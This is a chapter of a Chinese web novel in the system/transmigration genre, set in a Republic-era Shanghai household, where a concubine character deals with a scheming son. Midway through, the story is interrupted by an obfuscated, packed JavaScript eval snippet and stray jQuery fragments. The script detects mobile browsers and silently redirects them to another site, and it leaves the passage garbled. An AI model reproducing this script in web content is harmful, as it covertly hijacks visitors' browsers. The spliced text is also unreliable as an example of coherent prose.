叶永轩的脸登时黑得可怕,牙齿咬得咯吱作响:
“弹曲的小白脸,还敢教训起你二爷来了!在我面前大放厥词,也不想想有朝一日大哥玩腻了,你这号人在叶家该如何自处!”
说话间,阮逐舟上完香,后撤一小步,漆黑的瞳孔瞬也不瞬地盯着叶永轩,原本百无聊赖似的脸上露出一个意味深长的笑容。
“二爷放心,我什么都没看见,自然什么也不会说。”
阮逐舟语调放柔,“老爷就在隔壁自己院里,一不小心就会听见什么动静,知道的以为是这小丫崽子冲撞了二爷,不知道的还以为您做了什么不该做的呢。我刚刚也是为二爷您着想,故来提醒您一句罢了。”
叶永轩恼火:“你——”
阮逐舟反倒向他靠近一步。他这么上前,叶永轩忽而懵了一瞬,下意识要后退,却眼见着青年伸手要挽他的胳膊:
“在这个家,您和老爷都是主子,我怎么敢得罪二爷呢?往后还请您多担待……”
叶永轩浑身顿时炸起鸡皮疙瘩,一挥手:“别过来!”
阮逐舟被一把打开手,脸上毫无意外,只是停住动作。
叶永轩心有余悸地吁了口气,后退半步,重新打量了一番面前的人。
沪城男妾向来没资格风风光光地办礼,阮逐舟的婚服都是拿当年大太太的衣服改的长衫,掐了腰的腰身却仍有空空荡荡的一截余量,衣领拢住修长的颈,鸽血红耳钉衬得青年几乎白得发光。
叶永轩咽了咽唾沫,脸上青一阵白一阵:
“……一个大男人,恶不恶心!往后离我远点,少来你二爷跟前儿招人嫌!”
说完,他狠狠给了阮逐舟个眼刀,连那小丫鬟也不顾,匆匆拂袖而去。
阮逐舟不理睬,把挡风的外袍解下来,丢给祠堂里看呆了的女孩:“先披上。将来见到你们这个二爷,记得学机灵点,躲远些。”
女孩脸上还挂着泪痕,惊魂未定地跪下来就要磕头:“多谢四太太救命之恩!四太太大恩大德,奴婢终身难忘……”
阮逐舟再没多看那小丫鬟,转身也跨出祠堂屋门槛。
[恭喜宿主完成新手任务,获得积分×100,解锁系统商城,获得奖励:新手礼包。]
播报结束后,07号又接着道:[宿主,这叶永轩是个天不怕地不怕的性子,怎么和您说了两句话,反而老鼠见了猫似的避之不及呢?]
阮逐舟内心淡淡一哂:“还能因为什么,恐同直男呗。既然他口口声声说人恶心,还不准我真恶心他一下?”
07号恍然大悟,竖起不存在的大拇指:[宿主,还是您对万人嫌的人设理解深刻啊。]
阮逐舟不语,向叶大当家院中走去。就这几分钟功夫,院子里跪着的那个人影已经不见了。
阮逐舟没多理会,走进这位叶大当家的房间。
刚一进门,只听啪的一声!
“你个孽子!是不是你爹活活被你气死,你就满意了?!”
一声怒喝传来,引得阮逐舟不动声色看去。
只见屋内方桌边,一个年逾五旬的中年男子身着长衫,坐在主位的太师椅上,面前不远处站着的正是不久前跪在院落中的青年,头微微低着,看不清脸庞,却能清晰瞧见对方右边脸颊上肿起大片红痕。
刚挨了那一巴掌的也是他。
男人吹胡子瞪眼的,骂骂咧咧的话被07号在脑内的声音掩盖过去:
[宿主,这就是主角叶观和叶大当家叶永先。]
[叶观刚刚因为搞砸了家里的一单生意,触怒了叶大当家,您的第二个任务是挑唆气头之下的叶永先,令其严惩主角。]
[以您刚才新手任务中出色的适应能力,我相信你一定可以的,宿主加油!]
阮逐舟回过神。
坐着的毫无疑问正是叶永先。这位叶大当家指着挨了巴掌的叶观,明显气得要命:
“警察已经同我说了,是你冲撞了大使馆的洋人在先,你还敢狡辩?知不知道咱们家有多少营生现在都仰赖和洋人合作?!”
被打的人沉默片刻,哑声道:“父亲,如今国内战事频繁,那些洋人仗着有租界和大使馆庇佑,在沪城横行霸道,欺压百姓,这个节骨眼,叶家怎能与他们……”
“一派胡言!到手的大买卖,就因为你意气用事劝告吹了,你还有脸在这言之凿凿?!”
叶永先抓起桌上的茶杯铆足劲儿丢过去,只听一阵噼里啪啦,凉茶劈头盖脸泼了年轻人一身,茶杯擦过额角落在地上,碎了一地。
被打的人住口,兀自低头。从阮逐舟的角度,可以看见对方额角缓缓流下一丝粘稠的猩红色,可他只是负手而立,感觉不到疼似的,一动未动。
“往后咱们家的商船会不会被码头的洋人为难暂且不说,你和洋人起了冲突,差点伤了承泽,他若是有个三长两短,你就是有十条命又赔得起吗!”
叶永先拄着拐杖站起身,瞪了叶观一会儿,忽然沉声道:“阮四。”
阮逐舟反应了一秒,走过来:“是,老爷。”
叶永先盯着低头不语的青年,话却说给他听:“今天的事,多亏你早来告诉我,不然就让这个小兔崽子在外面闹去,还不知要给我惹出多大祸端。”
阮逐舟微皱了下眉头。
虽暂不清楚全部来龙去脉,但看样子叶观在外面闯了祸,还是被自己亲自捅到叶大当家面前。
可他的设定只是一个贪慕富贵的男妾,就算要对叶永先讨好献媚,又何至于做到这般地步?
然而思及此阮逐舟也只是顿了顿,随即绕开狼狈的叶观上前,笑盈盈搀住叶永先:
“老爷息怒,仔细气坏了身子。”
青年笑靥温柔,活脱脱一个体贴的男妾做派,在叶永先后背抚了抚:“孩子年龄小,不懂事,您总要给他历练的机会。往后他一定会明白老爷您的苦心的……”
“过年他就二十一了,小什么小?”
不提这话还好,叶永先反倒更加来气,言辞愈加激烈,“不省心的野种,早知道给我填了这么多麻烦,当年一生下来就该给他溺死,跟着那小娘们一同去了干净!”
底下站着的人像没听见这奇耻大辱一样,雕塑般伫立着。
阮逐舟忙长吁短叹地接茬:“可不是么,老爷您平时对待晚辈还是太过娇惯了,除了大少爷,这家中哪有几个能为您分忧解难的,凡事都要指着您这个顶梁柱。”
一席话让叶永先受用得不得了,反过来再看叶观,更加怎么瞧怎么不顺眼,叶永先轻推开阮逐舟的手,往门口走了两步,又想起什么,停下来:
“阮四,今天晚上,盯着这小兔崽子在西院你厢房外罚跪,何时知错了,何时让他再来见我!”
说罢,中年人愤愤离去。
屋内霎时安静下来。
阮逐舟也不急着走,反而也在椅子上坐好,慢条斯理端起桌上的茶盏:“说说吧。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401423|168702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>如今他必须摸清情况,一句模棱两可的话,足够让对方抖出供自己顺藤摸瓜的信息。
如他所料,面前的年轻人沉吟片刻:
“四太太,今天的事确实是儿子做得不对,儿子甘愿受罚。”
07号刚想见缝插针给阮逐舟补齐信息,只见青年垂眼吹了吹茶碗里的浮热:
“少爷。”
站着的人鼻翼微微翕动,抬起头。
阮逐舟不慌不忙呷了口茶,方才抬起眼帘。
四目相对,阮逐舟半边眉毛不由自主挑了一挑。
可即便略有破相,也还是一眼就能看出,这叶观是个如假包换的主角。长相也忒不俗了。
叶观深黑的眉眼凝望着他。从刚刚阮逐舟叫了他一声少爷开始,对方一直沉肃的眼底似乎多了分异样神情,却转瞬即逝。
阮逐舟只看了他一眼,偏过头将茶盏随手搁在桌上:“你自己说,错在哪。”
叶观沉吟片刻,很快垂眸,语气听不出一丝波澜:
“回四太太的话,儿子今天跟着大哥去码头看货时,不该不听大哥的指令,擅自行动。”
阮逐舟懒懒斜倚在太师椅扶手上,双腿交叠:“还有呢。”
即便微低着头,年轻人身板依然笔挺,粗糙的衣着掩盖不住对方高大颀长的身材。
“儿子不该和码头的洋人起争执,把到手的一笔大生意搅黄。”叶观又说。
阮逐舟啧了一声:“还有。”
叶观又抬起头来。这一次,青年嘴角微不可察地上翘一点。
“儿子不该,不小心惊了拉货的马匹,害得那洋人被掀翻下来摔断了腿,还险些冲撞到了大哥。”
他刻意将某个字眼咬重,回答道。
阮逐舟觑起眼睛,深望了叶观一会儿,起身慢慢走到他面前。
叶观这次竟坦然地回望着他,嘴角似笑非笑的弧度却愈发明显。
打探到这,阮逐舟已经了然。
如今的华国正处于战乱之下,沪城虽然尚未被战火波及,但因战场上节节败退,城内洋人早已横行霸道,尤其是大使馆的洋人更是把守着江畔码头大肆敛财,无视华国律法强征关税。
副本的“记忆”显示,叶家的生意有许多都依赖于水路。
看样子,就在今天,叶永先刚刚差遣两个儿子去码头监督交货,顺便与码头的洋人疏通关系,而叶观定然是与码头的洋人发生龃龉,导致货物没能运出去,才让叶永先这般大发雷霆。
叶观身量比阮逐舟高了些,即便垂眼,视线依然能够与阮逐舟的相交。
他漠然望着叶观:“回答我,你陷害兄长和那洋人的原因。”
叶观眼底闪过一丝冷笑,嘴上却恭谦:“儿子不敢。儿子当真是无心惊扰了马匹。”
阮逐舟呵笑,抬起右手。叶观没有躲的意思,站在原地不动。
青年骨骼细长的手指顶住对方心口,用力一怼:“没脸的东西,还敢嘴硬……”
他忽然停住话音。
指尖抵着胸口这一怼,本应极疼。可他的指尖触碰到一块人所不该有的硬度,藏在青年长衫前襟里面。
一瞬间叶观也注意到,方才隐约的笑意瞬间干涸了。
他忙道:“四太太——”
哗的一下,阮逐舟比他眼疾手快,反手揪住青年长衫前襟的布料,伸手一淘,将那东西抽出来,扬手在叶观面前抖了抖:
“少爷,这是什么?”